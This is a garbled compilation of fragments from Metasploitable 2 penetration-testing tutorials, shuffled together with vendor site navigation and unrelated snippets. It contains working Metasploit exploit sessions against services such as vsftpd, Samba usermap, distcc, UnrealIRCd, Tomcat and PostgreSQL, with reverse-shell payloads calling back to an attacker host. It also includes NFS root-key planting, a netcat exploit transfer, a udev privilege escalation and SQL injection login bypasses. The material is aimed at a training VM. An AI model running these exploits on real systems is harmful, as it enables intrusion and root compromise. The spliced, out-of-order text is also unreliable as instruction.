Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. payload => java/meterpreter/reverse_tcp At a minimum, the following weak system accounts are configured on the system. STOP_ON_SUCCESS => true RHOST => 192.168.127.154 LHOST => 192.168.127.159 An attacker can implement arbitrary OS commands by introducing a rev parameter that includes shell metacharacters to the TWikiUsers script. Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, Downloading and Setting Up Metasploitable 2, Identifying Metasploitable 2's IP Address, https://information.rapid7.com/metasploitable-download.html, https://sourceforge.net/projects/metasploitable/. [-] Exploit failed: Errno::EINVAL Invalid argument Step 5: Select your Virtual Machine and click the Setting button. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. List of known vulnerabilities and exploits . Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. In Metasploit, an exploit is available for the vsftpd version. Restart the web server via the following command. Name Current Setting Required Description msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. It aids the penetration testers in choosing and configuring of exploits. Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. [*] Reading from sockets -- ---- msf auxiliary(smb_version) > show options . This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header. cmd/unix/interact normal Unix Command, Interact with Established Connection For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response Set the SUID bit using the following command: chmod 4755 rootme. Name Current Setting Required Description THREADS 1 yes The number of concurrent threads Module options (exploit/unix/ftp/vsftpd_234_backdoor): msf exploit(distcc_exec) > set RHOST 192.168.127.154 In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities. . Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version Select Metasploitable VM as a target victim from this list. root msf exploit(tomcat_mgr_deploy) > exploit Meterpreter sessions will autodetect [*] Scanned 1 of 1 hosts (100% complete) Metasploitable 2 Full Guided Step by step overview. Redirect the results of the uname -r command into file uname.txt. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. [*] Reading from sockets A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. ---- --------------- -------- ----------- This allows remote access to the host for convenience or remote administration. [*] Started reverse handler on 192.168.127.159:4444 So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. ---- --------------- -------- ----------- msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. Getting started Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. We can now look into the databases and get whatever data we may like. [*] Started reverse handler on 192.168.127.159:8888 Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). RHOST 192.168.127.154 yes The target address LHOST => 192.168.127.159 CVEdetails.com is a free CVE security vulnerability database/information source. The following command line will scan all TCP ports on the Metasploitable 2 instance: Nearly every one of these listening services provides a remote entry point into the system. We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat. Metasploitable 2 is available at: USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line [*] Reading from socket B Type help; or \h for help. 0 Automatic payload => cmd/unix/reverse To access the web applications, open a web browser and enter the URL http:// where is the IP address of Metasploitable 2. Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. The following sections describe the requirements and instructions for setting up a vulnerable target. Target the IP address you found previously, and scan all ports (0-65535). You can connect to a remote MySQL database server using an account that is not password-protected. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) If so please share your comments below. This can be done via brute forcing, SQL injection and XSS via referer HTTP headerSQL injection and XSS via user-agent string, Authentication bypass SQL injection via the username field and password fieldSQL injection via the username field and password fieldXSS via username fieldJavaScript validation bypass, This page gives away the PHP server configurationApplication path disclosurePlatform path disclosure, Creates cookies but does not make them HTML only. Least significant byte first in each pixel. [*] Reading from socket B It is also instrumental in Intrusion Detection System signature development. Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . Metasploitable 2 VM is an ideal virtual machine for computer security training, but it is not recommended as a base system. The Metasploit Framework is the most commonly-used framework for hackers worldwide. Name Current Setting Required Description RHOST yes The target address PASSWORD no The Password for the specified username From the results, we can see the open ports 139 and 445. RHOST yes The target address Name Disclosure Date Rank Description The account root doesnt have a password. Same as credits.php. Id Name Exploit target: Long list the files with attributes in the local folder. now you can do some post exploitation. [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. SMBUser no The username to authenticate as To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. Id Name Name Current Setting Required Description Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. URIPATH no The URI to use for this exploit (default is random) The command will return the configuration for eth0. Commands end with ; or \g. Nice article. Its GUI has three distinct areas: Targets, Console, and Modules. You'll need to take note of the inet address. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. Payload options (java/meterpreter/reverse_tcp): When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. To begin using the Metasploit interface, open the Kali Linux terminal and type msfconsole. msf2 has an rsh-server running and allowing remote connectivity through port 513. Step 1: Setup DVWA for SQL Injection. Metasploitable 3 is the updated version based on Windows Server 2008. msf exploit(distcc_exec) > show options Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. payload => cmd/unix/reverse Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. root, msf > use auxiliary/admin/http/tomcat_administration Associated Malware: FINSPY, LATENTBOT, Dridex. Need to report an Escalation or a Breach? LHOST yes The listen address 0 Automatic Target Backdoors - A few programs and services have been backdoored. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. There are a number of intentionally vulnerable web applications included with Metasploitable. -- ---- This is Bypassing Authentication via SQL Injection. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. msf exploit(usermap_script) > set RPORT 445 -- ---- RPORT 6667 yes The target port When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. [*] Using URL: msf > use exploit/unix/misc/distcc_exec This must be an address on the local machine or 0.0.0.0 RETURN_ROWSET true no Set to true to see query result sets Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Tutorials on using Mutillidae are available at the webpwnized YouTube Channel. Proxies no Use a proxy chain If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. [*] Transmitting intermediate stager for over-sized stage(100 bytes) First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. SMBDomain WORKGROUP no The Windows domain to use for authentication root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. [*] Command: echo D0Yvs2n6TnTUDmPF; [*] Reading from socket B It aids the penetration testers in choosing and configuring of exploits. Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. ---- --------------- -------- ----------- The version range is somewhere between 3 and 4. SSLCert no Path to a custom SSL certificate (default is randomly generated) PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it: On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. Need to report an Escalation or a Breach? -- ---- root, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor THREADS 1 yes The number of concurrent threads So lets try out every port and see what were getting. Name Current Setting Required Description We will do this by hacking FTP, telnet and SSH services. Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). Metasploitable is installed, msfadmin is user and password. The advantage is that these commands are executed with the same privileges as the application. msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse individual files in /usr/share/doc/*/copyright. At first, open the Metasploit console and go to Applications Exploit Tools Armitage. msf auxiliary(telnet_version) > show options msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 RHOSTS yes The target address range or CIDR identifier When hacking computer systems, it is essential to know which systems are on your network, but also know which IP or IPs you are attempting to penetrate. Its time to enumerate this database and get information as much as you can collect to plan a better strategy. The primary administrative user msfadmin has a password matching the username. All right, there are a lot of services just awaitingour consideration. During that test we found a number of potential attack vectors on our Metasploitable 2 VM. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Andrea Fortuna. exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. USERNAME => tomcat Set Version: Ubuntu, and to continue, click the Next button. [*] 192.168.127.154:5432 Postgres - Disconnected msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 0 Automatic Using Exploits. [+] UID: uid=0(root) gid=0(root) msf exploit(usermap_script) > set LHOST 192.168.127.159 msf exploit(postgres_payload) > set LHOST 192.168.127.159 TOMCAT_PASS no The Password for the specified username Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . [*] Automatically selected target "Linux x86" Start/Stop Stop: Open services.msc. This is about as easy as it gets. . Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . Help Command uname -a -- ---- Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. msf exploit(usermap_script) > exploit [*] Started reverse double handler Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. A Computer Science portal for geeks. [*] Started reverse handler on 192.168.127.159:4444 This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. LHOST => 192.168.127.159 By Ed Moyle, Drake Software Nowhere is the adage "seeing is believing" more true than in cybersecurity. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The two dashes then comment out the remaining Password validation within the executed SQL statement. Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. USERNAME no The username to authenticate as Login with the above credentials. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. Lets go ahead. DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. (Note: A video tutorial on installing Metasploitable 2 is available here.). RHOST 192.168.127.154 yes The target address RHOST => 192.168.127.154 Step 3: Always True Scenario. [*] B: "ZeiYbclsufvu4LGM\r\n" Server version: 5.0.51a-3ubuntu5 (Ubuntu). THREADS 1 yes The number of concurrent threads I thought about closing ports but i read it isn't possible without killing processes. ================ RHOSTS => 192.168.127.154 It is a pre-built virtual machine, and therefore it is simple to install. msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM. 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